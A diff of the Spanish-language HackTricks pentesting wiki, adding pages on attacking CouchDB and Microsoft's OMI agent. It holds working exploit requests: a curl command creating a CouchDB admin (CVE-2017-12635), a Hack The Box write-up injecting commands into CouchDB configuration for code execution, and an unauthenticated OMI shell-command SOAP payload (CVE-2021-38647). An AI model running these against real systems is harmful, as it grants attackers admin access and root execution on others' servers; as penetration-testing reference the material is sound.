- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
296
network-services-pentesting/5984-pentesting-couchdb.md
Normal file
296
network-services-pentesting/5984-pentesting-couchdb.md
Normal file
|
@ -0,0 +1,296 @@
|
|||
# 5984,6984 - Pentesting CouchDB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## **Información básica**
|
||||
|
||||
CouchDB es una base de datos orientada a documentos y dentro de cada documento los campos se almacenan como mapas clave-valor. Los campos pueden ser un par clave/valor simple, una lista o un mapa.
|
||||
|
||||
Cada documento que se almacena en la base de datos recibe un identificador único a nivel de documento (`_id`) y un número de revisión (`_rev`) para cada cambio que se realiza y se guarda en la base de datos.
|
||||
|
||||
**Puerto predeterminado:** 5984 (http), 6984 (https)
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
5984/tcp open unknown syn-ack
|
||||
```
|
||||
## **Enumeración Automática**
|
||||
```bash
|
||||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||
```
|
||||
## Enumeración Manual
|
||||
|
||||
### Banner
|
||||
```
|
||||
curl http://IP:5984/
|
||||
```
|
||||
Esto emite una solicitud GET a una instancia de CouchDB instalada. La respuesta debería verse algo como uno de los siguientes:
|
||||
```bash
|
||||
{"couchdb":"Welcome","version":"0.10.1"}
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que si accedes a la raíz de CouchDB y recibes un `401 Unauthorized` con algo como esto: `{"error":"unauthorized","reason":"Authentication required."}` **no podrás acceder** al banner ni a ningún otro endpoint.
|
||||
{% endhint %}
|
||||
|
||||
### Enumeración de información
|
||||
|
||||
Estos son los endpoints a los que puedes acceder con una solicitud **GET** y extraer información interesante. Puedes encontrar [**más endpoints y descripciones más detalladas en la documentación de CouchDB**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
|
||||
* **`/_active_tasks`** Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado e ID de proceso.
|
||||
* \*\*`/_all_dbs`\*\*Devuelve una lista de todas las bases de datos en la instancia de CouchDB.
|
||||
* \*\*`/_cluster_setup`\*\*Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster.
|
||||
* **`/_db_updates`** Devuelve una lista de todos los eventos de la base de datos en la instancia de CouchDB. La existencia de la base de datos `_global_changes` es necesaria para usar este endpoint.
|
||||
* **`/_membership`** Muestra los nodos que forman parte del clúster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluyendo los que forman parte del clúster.
|
||||
* **`/_scheduler/jobs`** Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas.
|
||||
* **`/_scheduler/docs`** Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estados `completados` y `fallidos`. Para cada documento devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información.
|
||||
* **`/_scheduler/docs/{replicator_db}`**
|
||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
* **`/_node/{node-name}`** El endpoint `/_node/{node-name}` se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a `/_node/_local` para recuperar esta información.
|
||||
* **`/_node/{node-name}/_stats`** El recurso `_stats` devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal `_local` sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estadísticas, `{node-name}` se puede reemplazar con `_local`, para interactuar con las estadísticas del nodo local.
|
||||
* **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución. Puedes usar \_\_`_local` como {node-name} para obtener información del nodo actual.
|
||||
* **`/_node/{node-name}/_restart`**
|
||||
* **`/_up`** Confirma que el servidor está en funcionamiento y listo para responder a las solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) es `true` o `nolb`, el endpoint devolverá una respuesta 404.
|
||||
* \*\*`/_uuids`\*\*Solicita uno o más Identificadores Únicos Universales (UUID) de la instancia de CouchDB.
|
||||
* \*\*`/_reshard`\*\*Devuelve un recuento de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de reorganización en el clúster.
|
||||
|
||||
Se puede extraer información más interesante como se explica aquí: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
### **Lista de bases de datos**
|
||||
```
|
||||
curl -X GET http://IP:5984/_all_dbs
|
||||
```
|
||||
Si la solicitud responde con un **401 no autorizado**, entonces necesitas **credenciales válidas** para acceder a la base de datos:
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
Para encontrar credenciales válidas, podrías intentar realizar un ataque de fuerza bruta al servicio.
|
||||
|
||||
Este es un ejemplo de respuesta de CouchDB cuando tienes suficientes privilegios para listar las bases de datos (es solo una lista de bases de datos):
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### Información de la base de datos
|
||||
|
||||
Puedes obtener información de la base de datos (como el número de archivos y tamaños) accediendo al nombre de la base de datos:
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
#Example response:
|
||||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||||
```
|
||||
### **Lista de Documentos**
|
||||
|
||||
Lista cada entrada dentro de una base de datos.
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||
curl http://localhost:5984/simpsons/_all_docs
|
||||
#Example response:
|
||||
{"total_rows":7,"offset":0,"rows":[
|
||||
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
||||
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
||||
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
||||
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
||||
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
||||
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
||||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||||
]}
|
||||
```
|
||||
### **Leer Documento**
|
||||
|
||||
Leer el contenido de un documento dentro de una base de datos:
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/{id}
|
||||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||
#Example response:
|
||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||
```
|
||||
## Escalada de privilegios en CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, se puede **crear un usuario administrador** con credenciales `hacktricks:hacktricks` con la siguiente solicitud:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
[**Más información sobre esta vulnerabilidad aquí**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
|
||||
## RCE de CouchDB
|
||||
|
||||
### Cookie de Erlang
|
||||
|
||||
En la documentación de CouchDB, en la sección de [configuración de clúster](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), se habla de los diferentes puertos utilizados por CouchDB:
|
||||
|
||||
> CouchDB en modo clúster utiliza el puerto `5984` al igual que en modo independiente, pero también utiliza el puerto `5986` para las APIs locales del nodo.
|
||||
>
|
||||
> Erlang utiliza el puerto TCP `4369` (EPMD) para encontrar otros nodos, por lo que todos los servidores deben poder comunicarse entre sí en este puerto. En un clúster de Erlang, todos los nodos están conectados a todos los demás nodos. Una malla.
|
||||
|
||||
Y luego hay una advertencia interesante:
|
||||
|
||||
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
|
||||
|
||||
Si miramos en la lista de procesos, podemos ver esa cookie, "monster":
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
**Puedes leer esta sección para aprender cómo abusar de las cookies de Erlangs para obtener RCE**.\
|
||||
Además, puedes leer algunos **writeups de la máquina Canape HTB** [**como este**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) para ver y **practicar** cómo **explotar esta vulnerabilidad**.
|
||||
|
||||
### **Éxito en CVE-2018-8007 con permisos de escritura en local.ini**
|
||||
|
||||
Al escribir esta publicación, encontré un nuevo CVE que había sido lanzado para CouchDB por mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). También requiere escrituras en el archivo `local.ini`, por lo que no es una opción útil para Canape. Pero como ya lo hemos hecho escribible como root, veamos si podemos hacer que funcione.
|
||||
|
||||
Comenzamos con un `local.ini` limpio y ahora escribible (y una copia de seguridad):
|
||||
```
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
total 40
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
||||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
Podemos usar curl para modificar los orígenes en el archivo `local.ini`. La vulnerabilidad aquí es que si usamos curl para poner un nuevo origen y luego nuevas líneas, podemos escribir cosas adicionales, incluyendo una nueva cabecera y detalles. Así que aprovecharemos el campo `[os_daemons]` y agregaremos un proceso para que CouchDB intente seguir funcionando:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
En la shell de root, podemos ver qué cambios se han producido:
|
||||
```
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
119,124d118
|
||||
<
|
||||
< [cors]
|
||||
< origins = 0xdf
|
||||
<
|
||||
< [os_daemons]
|
||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||
```
|
||||
Y sin embargo, el archivo no está ahí:
|
||||
```
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
ls: cannot access '/tmp/0xdf': No such file or directory
|
||||
```
|
||||
Si observamos los procesos en ejecución con "couchdb" en la línea de comandos, no solo vemos la línea de comando que nos da el valor de la cookie que usamos anteriormente, sino también `runsrv couchdb`:
|
||||
```
|
||||
root@canape:/home/homer/bin# ps aux | grep couch
|
||||
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
|
||||
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
|
||||
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
|
||||
```
|
||||
Si matamos ese proceso, vuelve a aparecer de inmediato (observa el nuevo pid):
|
||||
```
|
||||
root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ps aux | grep runsrv
|
||||
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
|
||||
```
|
||||
Y, al reiniciar, ejecuta los OS\_Daemons:
|
||||
```
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
### **Intento exitoso a través de CVE-2017-12636 con permisos de escritura en local.ini**
|
||||
|
||||
CVE-2017-12636 permite la ejecución de código a través del proceso de couchdb. Sin embargo, no funcionará en esta configuración.
|
||||
|
||||
Hay algunos POCs por ahí como referencia:
|
||||
|
||||
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
Necesitaríamos escribir un nuevo query\_server y luego invocarlo. Cuando se lanzó Canape, la mayoría de los POC eran para couchdb 1.x, pero esta caja está ejecutando la versión 2, por lo que la ruta de query\_servers de la mayoría de los POC no existe. Eso ha cambiado ahora, pero seguiremos los mismos pasos. Primero, obtenga la versión y muestre que la ruta 1.X no existe:
|
||||
```bash
|
||||
www-data@canape:/var/www/git$ curl http://localhost:5984
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
|
||||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
{"error":"not_found","reason":"Database does not exist."}
|
||||
```
|
||||
Actualización con la nueva ruta para la versión 2.0:
|
||||
```bash
|
||||
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
|
||||
|
||||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
|
||||
```
|
||||
Desde allí, deberíamos agregar un query\_server y luego invocarlo, pero no podemos hacerlo.
|
||||
```bash
|
||||
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
|
||||
```
|
||||
Algunas búsquedas en Google muestran que este es un problema de permisos. De hecho, si verificamos con nuestra shell de root, podemos ver que el archivo `local.ini` no es escribible por nadie, y mucho menos por www-data:
|
||||
```
|
||||
root@canape:/home/home/etc# ls -ls local.ini
|
||||
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
|
||||
```
|
||||
Así que esto es un callejón sin salida para Canape. Pero si queremos intentar hacerlo funcionar, podemos hacerlo legible con nuestro acceso de root o homer, y continuar por este camino. Haremos una copia de seguridad del original para poder ver qué cambios se realizan:
|
||||
```
|
||||
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
root@canape:/# chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
Ahora, volvamos a nuestra shell de www-data:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
""
|
||||
```
|
||||
|
||||
```
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
""
|
||||
```
|
||||
Obtenemos el valor previo para el servidor de consulta cmd, lo que significa éxito. Y en la shell raíz, podemos ver que funcionó:
|
||||
```
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
48c48
|
||||
< cmd = /sbin/ifconfig > /tmp/df
|
||||
---
|
||||
> cmd =
|
||||
```
|
||||
Ahora, deberíamos ser capaces de crear una base de datos, y luego un documento en esa base de datos, y solicitarlo con una vista que mapee nuestro query\_server para obtener la ejecución.
|
||||
|
||||
Crear base de datos y documento:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
{"ok":true}
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||||
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||||
```
|
||||
|
||||
```
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
{"ok":true}
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||||
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||||
```
|
||||
Solicítalo en una vista:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
|
||||
```
|
||||
## Resumen
|
||||
|
||||
Se puede buscar la base de datos CouchDB en el puerto 5984 utilizando Shodan. Además, se proporcionan referencias a un análisis de vulnerabilidades y a una ejecución de CouchDB. También se incluyen enlaces a recursos adicionales de HackTricks Cloud.
|
53
network-services-pentesting/5985-5986-pentesting-omi.md
Normal file
53
network-services-pentesting/5985-5986-pentesting-omi.md
Normal file
|
@ -0,0 +1,53 @@
|
|||
## Información Básica
|
||||
|
||||
OMI es una herramienta de gestión de configuración remota de código abierto desarrollada por Microsoft. Los agentes OMI se encuentran comúnmente instalados en servidores Linux de Azure cuando se utilizan los siguientes servicios:
|
||||
|
||||
* Automatización de Azure
|
||||
* Actualización automática de Azure
|
||||
* Suite de administración de operaciones de Azure
|
||||
* Análisis de registros de Azure
|
||||
* Gestión de configuración de Azure
|
||||
* Diagnóstico de Azure
|
||||
|
||||
Cuando se configuran estos servicios, el proceso omiengine escuchará en todas las interfaces y se ejecutará como usuario root.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Puerto predeterminado:** 5985 (http), 5986 (https)
|
||||
|
||||
## [CVE-2021-38647](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)
|
||||
|
||||
A partir del 16 de septiembre, los servidores Linux recién creados en Azure todavía se empaquetan con una versión vulnerable del agente OMI. Después de implementar un servidor Linux y habilitar uno de los servicios mencionados anteriormente, el servidor estará en un estado vulnerable.
|
||||
|
||||
El servidor OMI recibe mensajes de gestión de configuración a través del punto final /wsman. Por lo general, se pasa una cabecera de autenticación junto con el mensaje y el servidor OMI se asegurará de que el cliente esté autorizado para comunicarse. En este caso, la vulnerabilidad es que cuando no hay cabecera de autenticación, el servidor acepta incorrectamente el mensaje y ejecuta la instrucción bajo el usuario root.
|
||||
|
||||
Al publicar una carga útil SOAP "ExecuteShellCommand" en el servidor sin especificar una cabecera de autenticación, se ejecutará el comando como root.
|
||||
```xml
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
||||
...
|
||||
<s:Body>
|
||||
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
|
||||
<p:command>id</p:command>
|
||||
<p:timeout>0</p:timeout>
|
||||
</p:ExecuteShellCommand_INPUT>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
```
|
||||
Encuentra el exploit completo en [https://github.com/horizon3ai/CVE-2021-38647](https://github.com/horizon3ai/CVE-2021-38647)
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
|
||||
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
305
network-services-pentesting/5985-5986-pentesting-winrm.md
Normal file
305
network-services-pentesting/5985-5986-pentesting-winrm.md
Normal file
|
@ -0,0 +1,305 @@
|
|||
# 5985,5986 - Pentesting WinRM
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
